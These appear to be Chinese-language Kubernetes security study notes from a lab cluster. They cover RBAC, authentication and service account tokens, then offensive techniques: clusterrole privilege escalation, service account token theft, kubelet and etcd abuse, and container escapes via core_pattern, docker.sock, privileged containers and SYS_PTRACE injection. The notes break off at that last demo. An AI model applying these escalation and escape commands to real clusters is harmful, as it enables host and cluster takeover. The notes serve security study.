kubernetes安全学习笔记
1. kubectl
通过kubectl我们可以与k8s apiserver进行交互,下载kubectl https://kubernetes.io/docs/tasks/tools/
1 | curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" |
master节点配置kubectl
1 | mkdir -p $HOME/.kube |
master节点
1 | [root@master test]# kubectl --kubeconfig=/etc/kubernetes/admin.conf -s https://192.168.128.129:6443 get nodes |
普通node节点配置kubectl
1 | mkdir -p $HOME/.kube |
普通节点:
1 | [root@node01 test]# kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes |
不验证服务器证书:
1 | ./kubectl -s https://192.168.128.129:6443 --insecure-skip-tls-verify=true --token eyJhbGc... get node |
kubectl具体各参数选项的使用,在各节中可以看到,这里简单说一下:
1 | 有哪些权限 |
如果希望查看kubectl发出的具体请求,可以通过 -v 输出详情
1 | [root@node01 test]# kubectl get pods -v 8 |
2. 权限机制
2.1. 概述RBAC
k8s的RBAC定义了4种对象 :”Role”、”ClusterRole”、”RoleBinding” 和 “ClusterRoleBinding”,基于角色的访问控制中,我们了解一下这里的 角色类型、账号类型、角色与账号的绑定。
- RBAC的R:k8s的角色定义了特定资源的访问权限,对于各节点来说,其是以API形式表现的,相关权限类型可参考请求动词 。
- Role:这里指对namespaces类型的资源的访问控制,如 Pods、Services、ConfigMaps
- ClusterRole:这里指非namespace类型资源的访问控制,即集群类型的,例如 Nodes、Namespaces、PersistentVolumes 等。
- RoleBinding:Role与 某绑定对象 的绑定关系
- ClusterRoleBinding:ClusterRole与 某绑定对象 的绑定关系
- 账户类型:账户类型有user account和service account,从笔者目前看到的内容来说,通过证书创建的方式为user account,其他情况下通常为 service account
- 绑定对象:角色可绑定到的对象类型有 user/group/service account ,通过kubectl输出的绑定关系中的subjects.kind表示具体的绑定对象类型
按照官方的说法,user account的名称是跨namespace唯一的,其通过证书方式创建,我们在浏览角色绑定信息时,可以看到user有 kube-controller-manager 、kube-scheduler、kube-proxy等等,而这些组件服务都是客户端X509认证方式访问apiserver。
用户账号与服务账号:Kubernetes 区分 用户账号 和 服务账号 的概念(user / service account),主要基于以下原因:
用户账号是针对人而言的。而服务账号是针对运行在 Pod 中的应用进程而言的, 在 Kubernetes 中这些进程运行在容器中,而容器是 Pod 的一部分。
用户账号是全局性的。其名称在某集群中的所有名字空间中必须是唯一的。 无论你查看哪个名字空间,代表用户的特定用户名都代表着同一个用户。 在 Kubernetes 中,服务账号是名字空间作用域的。 两个不同的名字空间可以包含具有相同名称的 ServiceAccount。
通常情况下,集群的用户账号可能会从企业数据库进行同步, 创建新用户需要特殊权限,并且涉及到复杂的业务流程。 服务账号创建有意做得更轻量,允许集群用户为了具体的任务按需创建服务账号。 将 ServiceAccount 的创建与新用户注册的步骤分离开来, 使工作负载更易于遵从权限最小化原则。
对人员和服务账号审计所考虑的因素可能不同;这种分离更容易区分不同之处。
针对复杂系统的配置包可能包含系统组件相关的各种服务账号的定义。 因为服务账号的创建约束不多并且有名字空间域的名称,所以这种配置通常是轻量的。
2.2. 资源
查询kubernates中被namespace约束的资源,与 RoleBinding 相关:
1 | [root@master test]# kubectl api-resources --namespaced=true |
查询kubernates跨namespace的资源,与 ClusterRoleBinding 相关:
1 | [root@master test]# kubectl api-resources --namespaced=false |
2.3. 身份认证策略
当集群中启用了多个身份认证模块时,只要有一个认证模块通过,身份认证就会通过。 API 服务器并不保证身份认证模块的运行顺序。
对于所有通过身份认证的用户,system:authenticated
组都会被添加到其组列表中。
k8s支持的身份认证策略包括 x509 cert、static token、bootstrap token、service account token、OpenID Connect(OIDC)令牌、webhook token认证、身份认证代理 ,其它身份认证协议(LDAP、SAML、Kerberos、X509 的替代模式等等) 可以通过使用一个身份认证代理或身份认证 Webhoook 来实现。
2.3.1. x509客户端证书认证
配置文件中设置相关选项即可启动客户端证书身份认证 https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/authentication/#x509-client-certs
如何生成证书参考 https://kubernetes.io/zh-cn/docs/tasks/administer-cluster/certificates/
1 | [root@master test]# cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep "client-ca-file" |
2.3.2. 静态令牌
配置文件中通过以下选项生效,static token为长期有效,只能通过重启服务来重新配置
1 | --token-auth-file= |
1 | Authorization: Bearer 31ada4fd-adec-460c-809a-9e56ceb75269 |
2.3.3. bootstrap token
k8s自动动态管理的token,用于启动引导新的集群
这些令牌的格式为 [a-z0-9]{6}.[a-z0-9]{16}
。第一个部分是令牌的 ID; 第二个部分是令牌的 Secret。你可以用如下所示的方式来在 HTTP 头部设置令牌:
1 | Authorization: Bearer 781292.db7bc3a58fc5f07e |
2.4. service account token
服务账号通常由 API 服务器自动创建并通过 ServiceAccount
准入控制器关联到集群中运行的 Pod 上。 持有者令牌会挂载到 Pod 中可预知的位置,允许集群内进程与 API 服务器通信。 服务账号也可以使用 Pod 规约的 serviceAccountName
字段显式地关联到 Pod 上
使用的是JWT的方式,所以这里通过公钥来验签
1 | [root@master test]# cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep "service-account" |
2.5. 普通节点权限
普通节点如何查看当前用户信息?
查看配置文件:当前配置的用户为 ClusterRole 类型,证书路径为 /var/lib/kubelet/pki/kubelet-client-current.pem
1 | [root@node01 test]# cat /etc/kubernetes/kubelet.conf |
具体用户名为 system:node:node01.local
,对应的组为 system:nodes
1 | [root@node01 test]# openssl x509 -in /var/lib/kubelet/pki/kubelet-client-current.pem -text -noout |
在master节点上查询,需要通过输出yaml查看详细才能找到group的具体role/clusterrole
1 | mkdir -p $HOME/.kube |
1 | [root@master test]# kubectl get clusterrolebinding -o yaml -A | grep system:nodes |
查询该角色的资源权限
1 | [root@master test]# kubectl describe ClusterRole/system:certificates.k8s.io:certificatesigningrequests:selfnodeclient -n system:node |
2.6. master节点
通过以下方式可以看到节点的用户组为 system:masters
certificate-authority-data用于对服务器TLS端口进行校验,集群名称为kubernetes; client-certificate-data client-key-data 用于客户端证书认证模式下的认证
1 | [root@master test]# cat /etc/kubernetes/admin.conf |
system:masters
绑定的ClusterRole为cluster-admin
1 | [root@master test]# kubectl get clusterrolebinding -A -o yaml | grep system:masters |
对应的权限:
1 | [root@master test]# kubectl describe ClusterRole/cluster-admin |
2.7. service account
2.7.1. 概述sa
sa通常使用者是pod ,默认每个pod会自动挂载sa凭证,可用于访问apiserver
服务账号被身份认证后,所确定的用户名为 system:serviceaccount:<名字空间>:<服务账号>
, 并被分配到用户组 system:serviceaccounts
和 system:serviceaccounts:<名字空间>
https://kubernetes.io/zh-cn/docs/reference/access-authn-authz/authentication/
Service Account包含了namespace、token 和 ca三部分内容,通过base64编码保存于对应的 secret 中。namespace 指定了Pod所属的namespace,ca用于生成和验证 token,token用作身份验证。三者都通过mount的方式挂载在pod文件系统的目录 /var/run/secrets/kubernetes.io/serviceaccount/下 https://cloudnative.to/blog/authentication-k8s/
在 1.6 以上版本中,您可以选择取消为 service account 自动挂载 API 凭证,只需在 service account 中设置 automountServiceAccountToken: false
https://jimmysong.io/kubernetes-handbook/guide/configure-pod-service-account.html
1 | apiVersion: v1 |
2.7.2. sa相关操作
下面流程中我们绑定service account到role,从这个流程学习sa相关操作,并且程可以了解到,对于role来说 sa user group都是一样的。
创建namespace
1 | apiVersion: v1 |
创建service account
1 | apiVersion: v1 |
查看所有sa
1 | [root@master test]# kubectl get sa -A |
查看token
1 | [root@master test]# kubectl describe sa service-minio -n minio |
创建role
1 | kind: Role |
绑定role与serviceaccount
1 | kind: RoleBinding |
查看结果
1 | [root@master test]# kubectl get rolebinding -A |
为kube-system空间下的default绑定role
1 | kind: RoleBinding |
查询出来的name为 role-bind-test ,需要再进一步查看配置了解绑定详情
1 | [root@master test]# kubectl get rolebinding -A |
1 | [root@master test]# kubectl create serviceaccount service-minio2 -n minio |
因为我们在使用 serviceaccount 账号配置 kubeconfig 的时候需要使用到sa 的 token, 该 token 保存在该 serviceaccount 保存的 secret 中
1 | [root@master test]# kubectl get secret service-minio2-token-q5jg5 -n minio -o yaml |
2.7.3. 使用sa token
k8s默认会为pod挂载 sa ,默认路径以及使用方法如下:
1 | root@nginx:/# cat /run/secrets/kubernetes.io/serviceaccount/token |
1 | curl --header "Authorization: Bearer eyJhbGc..." -X GET https://192.168.128.129:6443/api/v1/componentstatuses --insecure |
1 | ./kubectl -s https://192.168.128.129:6443 --insecure-skip-tls-verify=true --token eyJhbGc... get node |
3. 提权
3.1. 提权思路
kubectl auth can-i –list
3.2. demo: update clusterrole
比如,我们从etcd拿到一个有clusterrole修改权限的token,默认无法操作集群pod等资源,但是有clusterrole修改权限:
1 | #kubectl describe clusterrole system:controller:clusterrole-aggregation-controller |
我们通过edit该sa,并添加相关权限
1 | ./kubectl -s https://192.168.128.129:6443 --insecure-skip-tls-verify=true --token ... edit clusterrole system:controller:clusterrole-aggregation-controller |
1 | - apiGroups: |
成功提升权限:
1 | Name: system:controller:clusterrole-aggregation-controller |
3.3. create pod
https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-get-sa-token
如果我们的token有创建pod的权限,但不是高权限账号,我们可以通过该机制获取指定sa的token:pod的配置文件指定serviceAccountName,k8s在启动pod后会自动挂载该sa的token
当然,我们在使用时还需要知道或能猜测到高权限账户的名称。
1 | //https://github.com/cdk-team/CDK/blob/main/pkg/exploit/k8s_get_sa_token.go |
3.4. list pod token
由于pod中的凭证会挂载到其node节点的文件系统下,具体路径为 /var/lib/kubelet/pods/ ,因此,当我们获取到node节点权限后,我们可以产生列举节点上所有的pod sa token,藉此找到权限更高的token。
1 | [root@node01 test]# cat /var/lib/kubelet/pods/01900a44-17bd-47c2-ac99-e319f004dc95/volumes/kubernetes.io~projected/kube-api-access-npwsr/token |
我们也可以通过 Peirates 工具的选项30来辅助完成这个步骤(但是感觉不太好用)。
这里给出sh脚本 find_tokens.sh
:
1 |
|
3.5. trampoline
参考 https://www.youtube.com/watch?v=PGsJ4QTlKlQ&ab_channel=CNCF%5BCloudNativeComputingFoundation%5D
我们把k8s 某些插件引入的pod 的sa token拥有高权限的可能性十分高,而拥有高权限的pod可以称为trampoline。或者说 DaemonSet 一类的pod是我们需要关注的。
如果当前node上没有合适的token,我们可以通过“移动蹦床”到当前node的方式来获取高权限token:
- 明确我们的trampoline pod及所在node
- 修改其他所有 node 的pod容量为 0 ,并且指定 node 删除该 trampoline pod
- 等 k8s 自动在我们的 node 上创建该pod后,读取相关sa token
1 | #开启proxy方便测试 |
4. k8s compoents&service
4.1. 概述
k8s的组件有如下几种类型:
- 控制面板组件 control pannel compoents:kube-apiserver 、etcd …
- 节点组件 node compoents:kubelet、kube proxy …
- 插件 add-ons :core-dns 、flannel ..
通常默认配置下,master节点只会运行组件相关的pod;控制面板组件、coredns只有运行在mater ,kubelet、 kube-proxy在每台节点都会运行。
我们可以在镜像地址中看到相关组件的版本信息:
1 | [root@master test]# kubectl get node -o yaml |
查看k8s相关进程:有 kube-proxy flannld(网络插件) 、etcd 、kube-controller-manager、 kube-scheduler、kubelet
1 | [root@master test]# ps -ef | grep kube |
相关pod
1 | [root@master test]# kubectl get pods -A |
4.2. kube-apiserver&kube-proxy
k8s的的各资源体现为RBAC的role,当我们的user/group/sa绑定了相关role,即可使用这些资源,即可访问相关的API。apiserver负责暴露各组件功能api,当我们能访问并操作apiserver各接口功能时我们就掌控了整个k8s集群。
kube-proxy 是集群中每个节点(node)上所运行的网络代理, 实现 Kubernetes 服务(Service) 概念的一部分。kube-proxy 维护节点上的一些网络规则, 这些网络规则会允许从集群内部或外部的网络会话与 Pod 进行网络通信。
默认情况下kubeadm没有开启HTTP端口,而HTTP端口是允许匿名访问的。
在apiserver的配置文件中加入相关选项可开启,但这个选项笔者在最近的参考文档中没有看到,应该是在某个版本被删除了,已经不再起作用了,笔者因此也没有复现成功:
1 | [root@master test]# vi /etc/kubernetes/manifests/kube-apiserver.yaml |
有时候开发运维可能为了方便从而临时开始kubectl proxy 转发apiserver 8080 的功能,该proxy默认端口为8001
1 | [root@master test]# kubectl proxy |
通过以下测试输出,我们可以理解kube-proxy:
1 | [root@master test]# kubectl proxy --address=0.0.0.0 --accept-hosts=^.*$ -v 8 |
apiserver的HTTPS的端口默认为6443,默认不允许匿名访问,客户端访问该HTTPS端口时可选择校验服务器的证书,当我们忽略证书校验时可如下操作:
1 | kubectl -s https://192.168.128.129:6443 --insecure-skip-tls-verify=true ... |
HTTPS端口默认直接拒绝匿名请求:
1 | [root@master test]# curl https://192.168.128.129:6443/api/v1/pods --insecure |
当我们开启 匿名认证 选项后, 匿名请求的用户名为 system:anonymous
, 用户组名为 system:unauthenticated,换句话说,开启该选项后,匿名请求被设置了指定的用户和用户组。
1 | spec: |
开启后匿名访问为403:
1 | [root@master test]# curl https://192.168.128.129:6443/api/v1 --insecure |
我们为system:anonymous绑定相关角色,赋予权限后就可以通过匿名用户访问相关资源:
1 | apiVersion: rbac.authorization.k8s.io/v1 |
1 | apiVersion: rbac.authorization.k8s.io/v1 |
1 | [root@master test]# curl https://192.168.128.129:6443/api/v1 --insecure |
4.3. etcd
etcd拥有一致且高可用的键值存储能力,用作 Kubernetes 所有集群数据的后台数据库。你可以在官方文档中找到有关 etcd 的深入知识。
从目前笔者看到的知识点,对etcd有如下理解:user account通常为X509客户端认证,user account目前看到的通常都是k8s组件或admin用户,即凭证都是配置文件形式,所以etcd中看不到admin用户的凭证;etcd存储了service account的相关凭证。
etcdctl 工具可在github下载 :https://github.com/etcd-io/etcd/releases/ ,etcdctl工具中的 user、role 等选项与k8s没有关系,与etcd有关系。
可以通过以下环境变量指定工具的API版本及认证信息
1 | export ETCDCTL_API=3 |
etcd默认不允许匿名访问,另外看到有人说回环地址下etcd默认允许匿名访问,但我验证的结果为否,可能是旧版本功能。
关于配置etcd未授权访问:查看官方文档没有找到etcd匿名访问的配置,另外即便将 client-cert-auth 设置为false也不行 ,参考 https://etcd.io/docs/v3.4/op-guide/configuration/ 、https://etcd.io/docs/v2.3/configuration/ 。
有etcd访问权限情况下,可通过如下操作获取权限下:
1 | 检查etcd服务器状态 |
拿到token后我们可以以前面操作sa token一样的方式去访问api server,如果没有找到admin权限的token也没关系,因为etcd存储的这些token必然有可以操作 clusterrole、clusterrulebinding权限的token,我们通过修改权限的方式也能提权到admin。提权可以参考其他章节。
4.4. kubelet
kubelet相关配置选项:https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/
kubelet
会在集群中每个节点(node)上运行。 它保证容器(containers)都运行在 Pod 中。
kubelet 接收一组通过各类机制提供给它的 PodSpecs, 确保这些 PodSpecs 中描述的容器处于运行状态且健康。 kubelet 不会管理不是由 Kubernetes 创建的容器。
从下面的命令输出可知,kubelet默认监听端口为10248 36379 10250,且会与apiserver建立tcp长连接:
1 | [root@master test]# netstat -anopt | grep kubelet |
目前版本默认没有开启10255端口,我们可以通过如下命令来开启:
1 | [root@master test]# cat /etc/sysconfig/kubelet |
10250默认不允许匿名访问,要配置为匿名访问,我们需要修改 /var/lib/kubelet/config.yaml 的anonymous.enabled、authorization.mode 选项,并delete kubelet pod让其重新创建:
1 | apiVersion: kubelet.config.k8s.io/v1beta1 |
从官方代码 v1.24.16 pkg/kubelet/server/server 来看,10255端口kubeCfg.EnableDebuggingHandlers默认false,而10250默认true,true情况下的debug模式的路由 有 InstallDebuggingHandlers( /run /exec /attach /portForward /containerLogs /runningpods) 、InstallSystemLogHandler等。其他公共的路由为 InstallDefaultHandlers ,包括 /pods /stats /metrics 等。
未授权访问情况下,如果对DEBUG路由有访问权限则可以通过如下方式创建容器,也可以通过查看容器配置信息找到高权限容器:
Kubelet API | 用法示例 | 描述 |
---|---|---|
/pods | GET /pods | 列出所有的pods |
/run | POST /run/ |
在容器内执行命令 |
/exec | GET /exec/ |
通过数据流的方式在容器内执行命令 |
相关深入利用工具 : https://github.com/cyberark/kubeletctl
4.5. service & nodeport
https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
service:pod的使用者有时候需要向k8s集群外部暴露IP地址或端口,从而可以对外提供访问。
如果用户使用 nodeport 类型的service来暴露服务,默认端口为 30000-32767
5. pod&container
pod是k8s集群中的资源单位,根据官方说法,pod可以由多个容器组成。
5.1. docker信息收集
通过以下的命令,我们可以判断当前环境是否在容器中及k8s集群中,另外我们需要探明控制组件的网络地址、当前容器是否特权容器、capalilites情况
1 | ps aux |
1 | /.dockerenv |
capabilites信息收集见 “容器逃逸 - capabilites”
5.2. pod service account
见 “使用sa token”一节
1 | curl --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IndWRWJ5UklGa0RNdEtBaEgzd3BEdHUzZlZVZEdFYkk1UzRhbW9laDdKcmsifQ.eyJhdWQOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzIxNDQyODM2LCJpYXQiOjE2ODk5MDY4MzYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjA0NDZjMWJjLTlkYzgtNDBmMi1iZjllLTlhZmY3NGRiODBkMCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjExM2Q4MGRhLTcwZTYtNGJlYS05MmU2LTgxZGE2NDc3ODBhZSJ9LCJ3YXJuYWZ0ZXIiOjE2ODk5MTA0NDN9LCJuYmYiOjE2ODk5MDY4MzYsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.YYqWGNJokhbODI6iGYNt9FVInQmwb-2ujYn94Z6e-wOScbs90Q7x3HaJ_2NhXVIl6TrlVtOI76ApenncMu-d5ieeqO8t3rwKiWrp3xwkbaLy7-4UawPZxtnO40V7S_s75E0AD74o9PkLMAD_Dr9NZy5yuKqhWIlnfGf8bdsyGrGk_-9sdpQVt3VGtNoXtJ__vgoizcWVen6C8N74LPuh1B84lvGjZFB02mRrBQr88aLU7FCSox7404Q74lTM_tSjhhqop9SgIdNx-E7nX9sz_nMxoMiNuJTYX80S2GA-O9FpqqT0DLO2TVwG4LfHvZI2oQX52OqRxtZwOYHPIewAqQ" -X GET https://192.168.128.129:6443/api/ --insecure |
5.3. 容器内的网络
目前云原生下,主流的网络架构还是传统的 主机网络
。我们自己搭建的k8s集群默认是看不到其他pod、k8s apiserver的,但实际生产环境,为了方便 及 保障服务可靠,运维&开发 部署的k8s为 主机网络 这种开放式的网络,但这种未隔离的网络是不成熟的做法。
https://github.com/neargle/my-re0-k8s-security#4-%E5%AE%B9%E5%99%A8%E7%BD%91%E7%BB%9C
以 Kubernetes 为例,容器与容器之间的网络是极为特殊的。虽然大部分经典 IDC 内网的手法和技巧依然可以使用,但是容器技术所构建起来的是全新的内网环境,特别是当企业引入服务网格等云原生技术做服务治理时,整个内网和 IDC 内网的差别就非常大了;因此了解一下 Kubernetes 网络的默认设计是非常重要的,为了避免引入复杂的 Kubernetes 网络知识,我们以攻击者的视角来简述放在蓝军面前的 Kubernetes 网络。
从上图可以很直观的看出,当我们获取 Kubernetes 集群内某个容器的 shell,默认情况下我们可以访问以下几个内网里的目标:
- 相同节点下的其它容器开放的端口
- 其他节点下的其它容器开放的端口
- 其它节点宿主机开放的端口
- 当前节点宿主机开放的端口
- Kubernetes Service 虚拟出来的服务端口
- 内网其它服务及端口,主要目标可以设定为 APISERVER、ETCD、Kubelet 等
不考虑对抗和安装门槛的话,使用 masscan 和 nmap 等工具在未实行服务网格的容器网络内进行服务发现和端口探测和在传统的 IDC 网络里区别不大;当然,因为 Kubernetes Service 虚拟出来的服务端口默认是不会像容器网络一样有一个虚拟的 veth 网络接口的,所以即使 Kubernetes Service 可以用 IP:PORT 的形式访问到,但是是没办法以 ICMP 协议做 Service 的 IP 发现(Kubernetes Service 的 IP 探测意义也不大)。
另如果 HIDS、NIDS 在解析扫描请求时,没有针对 Kubernetes 的 IPIP Tunnle 做进一步的解析,可能产生一定的漏报。
注:若 Kubernetes 集群使用了服务网格,其中最常见的就是 istio,此时服务网格下的内网和内网探测手法变化是比较大的。可以参考引用中:《腾讯蓝军: CIS2020 - Attack in a Service Mesh》;由于 ISTIO 大家接触较少,此处不再展开。
也因此多租户集群下的默认网络配置是我们需要重点关注的,云产品和开源产品使用容器做多租户集群下的隔离和资源限制的实现并不少见,著名的产品有如 Azure Serverless、Kubeless 等。
若在设计多租户集群下提供给用户代码执行权限即容器权限的产品时,还直接使用 Kubernetes 默认的网络设计是不合理的且非常危险。
很明显一点是,用户创建的容器可以直接访问内网和 Kubernetes 网络。在这个场景里,合理的网络设计应该和云服务器 VPS 的网络设计一致,用户与用户之间的内网网络不应该互相连通,用户网络和企业内网也应该进行一定程度的隔离,上图中所有对内的流量路径都应该被切断。把所有用户 POD 都放置在一个 Kubernetes namespace 下就更不应该了。
5.4. 挂载目录
5.4.1. OverlayFS概述
通过查看 /proc/self/mountinfo 或 /etc/mtab 可以知晓容器挂载信息(这里的/proc/self 软链接到 cat 命令进程)
挂载信息中有两个要点,第一点为overlay2的物理路径,图中可看到有 lowerdir、upperdir、workdir;第二点则为各挂载点的信息:
docker默认使用overlay2作为存储驱动 https://docs.docker.com/storage/storagedriver/select-storage-driver/ ,早期则使用aufs。
overrlay2存储驱动使用OverlayFS 作为文件系统,OverlayFS有两种目录,分别为下层的 lowerdir 与上层的 upperdir ,这两个“图层”联合起来就是用户视图下感知到的 merged 。
其中 lowerdir 被确保为只读,也是镜像文件,确保可被不同镜像重复使用;而upperdir则是可读可写的。
另外,OverlayFS 通过 写时复制 技术来确保 lowerdir 的只读属性。当用户修改或删除某个文件,而这个文件还未存在于upperdir,则系统会将其从lowerdir复制一份到 workdir ,在workdir修改后复制到 upperdir ,此后在 upperdir 种确保了该文件的最新状态。简单来说,workdir不保存文件,只是一个中间的临时目录。
下面我们进行如下实验来验证:
1 | 容器中看到的根目录: |
可以通如下命令方便查看upperdir路径:
1 | root@nginxtest:/# sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /proc/self/mountinfo |
至于如何快速查找容器是否挂载了可以利用的目录,笔者目前没有找到这种方法,只能通过 mountinfo 看看是否有不常见的路径,并查看该路径下的内容,藉此进行判断。
cdk工具的信息收集模块 Information Gathering - Mounts
(pkg/util/cgroup.go:68)可以辅助收集mount信息,但测试下来也只是起到输出 /etc/self/mountinfo的作用:
1 | ./cdk evaluate |
5.4.2. mounted /proc
如果容器挂载了宿主机的/proc,我们可以利用 /proc/sys/kernel/core_pattern 相关linux机制进行容器逃逸。
相关配置:
1 | apiVersion: v1 |
1 | docker run -v /proc:/host_proc --rm -it nginx bash |
在linux中,当程序奔溃退出时,默认会在程序当前工作目录下生成一个core文件,包含内存映像与调试信息,/proc/sys/kernel/core_pattern可以控制core文件保存位置和文件格式,当core_pattern的当一个字符为管道符时,系统会以root用户权限执行管道符后指定的文件。通过这样一个机制,我们可以在宿主机上执行任意命令从而进行逃逸。
下面复现如何通过 core_pattern 进行逃逸。
编译一个运行会奔溃的程序:
1 | [root@master test]# cat test.c |
填入proc路径后,在容器中运行如下命令:
1 | PROC_DIR="/host/testvol/proc" |
5.5. manage docker
https://gdevillele.github.io/engine/reference/api/docker_remote_api/
docker目前发行的版本(19.x)中,docker daemon默认监听 unix:///var/run/docker.sock (unix socket文件),而客户端需要有root权限才能访问该文件,通过该socket地址与daemon交互能操作docker相关 api ,从而进行容器创建、执行。
在旧版本的docker中(大致17年及之前的发行版本 <1.13.x ),docker daemon默认监听tcp socket 0.0.0.0:2375 ,且默认为未授权访问。
5.5.1. docker remote api
我们修改配置,开启HTTP:
1 | [Service] |
随后重启相关服务
1 | systemctl daemon-reload |
查看到的版本信息:
1 | root@test:/home/test# curl http://192.168.128.130:2375/version |
创建容器,并指定特权、与主机共享network namespace、挂载宿主机文件系统:
1 | root@test:/home/test# docker -H 192.168.128.130:2375 run --rm -it --privileged --net=host -v /:/mnt nginx /bin/bash |
5.5.2. docker unix socket
当宿主机的 /var/run/docker.sock 被挂载容器内的时候,容器用户就可以直接通过该unix socket来操作docker api。
1 | root@test:/home/test# curl --unix-socket /var/run/docker.sock foo/version |
这种挂载daemon的unix socket通常出现在Docker in Docker的场景中,出现的案例有:
- Serverless 的前置公共容器
- 每个节点的日志容器
如果你已经获取了此类容器的 full tty shell, 你可以用类似下述的命令创建一个通往母机的 shell。
./bin/docker -H unix:///tmp/rootfs/var/run/docker.sock run -d -it –rm –name rshell -v “/proc:/host/proc” -v “/sys:/host/sys” -v “/:/rootfs” –network=host –privileged=true –cap-add=ALL alpine:latest
如果想现在直接尝试此类逃逸利用的魅力,不妨可以试试 Google Cloud IDE 天然自带的容器逃逸场景,拥有 Google 账号可以直接点击下面的链接获取容器环境和利用代码,直接执行利用代码 try_google_cloud/host_root.sh 再 chroot 到 /rootfs 你就可以获取一个完整的宿主机 shell:
拥有google账户的情况下,通过以下链接我们可以直接测试该容器逃逸场景:
当然容器内部不一定有条件安装或运行 docker client,一般获取的容器 shell 其容器镜像是受限且不完整的,也不一定能安装新的程序,即使是用 pip 或 npm 安装第三方依赖包也很困难。
此时基于 golang 编写简易的利用程序,利用交叉编译编译成无需依赖的单独 bin 文件下载到容器内执行就是经常使用的方法了。
5.6. privileged container
特权容器表示容器进程继承了宿主机root的权限,这种权限包括:cgroups 、mount namespace、完整的capabilities 等等,而通常我们只要有其中一种资源的高级权限我们就可以进行容器逃逸了,所以特权模式下的容器逃逸有多种选择。
k8s创建特权容器:kubectl –kubeconfig /etc/kubernetes/admin.conf apply -f test.yaml
1 | apiVersion: v1 |
如果不在 privileged 容器内部,是没有权限查看磁盘列表并操作挂载的。
特权容器中,可以查看到磁盘:
因此,在特权容器里,你可以把宿主机里的根目录 / 挂载到容器内部,从而去操作宿主机内的任意文件,如 crontab config file, /root/.ssh/authorized_keys, /root/.bashrc 等文件,而达到逃逸的目的。
5.7. capabilites
5.7.1. Linux Capabilities
https://icloudnative.io/posts/linux-capabilities-why-they-exist-and-how-they-work/ Linux Capabilities入门
Linux Capabilities(Linux能力)是一种在Linux内核中引入的权限管理系统,用于细粒度地控制进程的权限。在传统的Linux权限模型中,进程要么具有完整的root权限(超级用户权限),要么具有普通用户的权限,这种二元权限模型可能存在安全风险。
为了增加安全性和降低攻击面,Linux引入了Linux Capabilities,使进程可以被赋予或剥夺特定的权限,而不必拥有完整的root权限。这样,进程可以在不破坏系统安全的前提下,仅具备执行特定任务所需的最小权限。
在Linux Capabilities中,每个能力(Capability)对应一个特定的权限,例如CAP_NET_ADMIN用于允许进行网络配置,CAP_SYS_PTRACE用于允许进行进程调试等。这样,管理员可以选择性地为进程分配这些特定的能力,而无需提供完整的root权限。这种细粒度的权限管理使得系统更加安全,并且提高了系统的安全性和灵活性。
在Docker和Kubernetes等容器技术中,Capabilities也被广泛用于为容器进程设置权限。通过合理地设置容器的Capabilities,可以确保容器内的进程只能获得必要的权限,从而增强了容器的安全性。
在Linux中,有许多不同的Capabilities(能力),用于细粒度地控制进程的权限。以下是一些常见的Capabilities及其简要说明:
- CAP_CHOWN:修改文件所有者,允许进程修改任意文件的所有者。
- CAP_DAC_OVERRIDE:覆盖文件访问权限,允许进程忽略文件访问权限检查。
- CAP_DAC_READ_SEARCH:读取和搜索目录,允许进程读取和搜索任意目录。
- CAP_FOWNER:修改文件所有者和组,允许进程修改任意文件的所有者和所属组。
- CAP_FSETID:设置文件的setuid和setgid位,允许进程设置文件的setuid和setgid位。
- CAP_KILL:发送信号给其他进程,允许进程发送信号给任意进程。
- CAP_SETGID:设置组ID,允许进程在执行时改变自己的有效组ID。
- CAP_SETUID:设置用户ID,允许进程在执行时改变自己的有效用户ID。
- CAP_SETPCAP:设置线程的能力,允许进程提高自己或其他线程的能力。
- CAP_LINUX_IMMUTABLE:修改不可变的文件,允许进程修改标记为不可变的文件。
- CAP_NET_BIND_SERVICE:绑定网络端口,允许进程绑定小于1024的网络端口。
- CAP_NET_RAW:使用原始网络套接字,允许进程使用原始网络套接字发送和接收网络数据包。
- CAP_IPC_LOCK:锁定内存页,允许进程锁定内存页,防止被交换出去。
- CAP_MKNOD:创建设备文件和FIFOs,允许进程创建设备文件和FIFOs(命名管道)。
- CAP_SYS_ADMIN:系统管理权限,允许执行各种系统管理任务,例如挂载文件系统、设置主机名等。
- CAP_SYS_BOOT:引导作业管理,允许进程引导或重启作业控制会话。
- CAP_SYS_CHROOT:改变根目录,允许进程改变根文件系统的根目录。
- CAP_SYS_PTRACE:进程调试权限,允许进程调试其他进程。
- CAP_SYS_TIME:更改系统时钟,允许进程更改系统时钟和设置实时时钟。
- CAP_SYS_TTY_CONFIG:配置TTY设备,允许进程配置TTY设备。
Linux中的Capabilities有很多,这里只是列举,且不同的Linux发行版和内核版本可能支持不同的Capabilities。
5.7.2. 收集Capabilities信息
通过 capsh –print 命令可以打印当前容器的capablities权限信息
容器中的工具通常都被精简了,所以没有capsh这个工具,我们可以通过获取hex记录值后,再在其他机器进行解码,即可获取该信息。
1 | root@nginxtest:~# cat /proc/1/status | grep Cap |
1 | [test@master ~]$ capsh --decode=0000001fffffffff |
5.7.3. SYS_PTRACE
相关配置参考如下,除了添加SYS_PTRACE外,还需要允许容器访问主机pid namespace
1 | docker run --pid=host --cap-add=SYS_PTRACE --rm -it ubuntu bash |
1 | apiVersion: v1 |
下面复现该场景下通过进程注入反弹宿主机shell到容器上。
本机上安装msf,用于生成shellcode
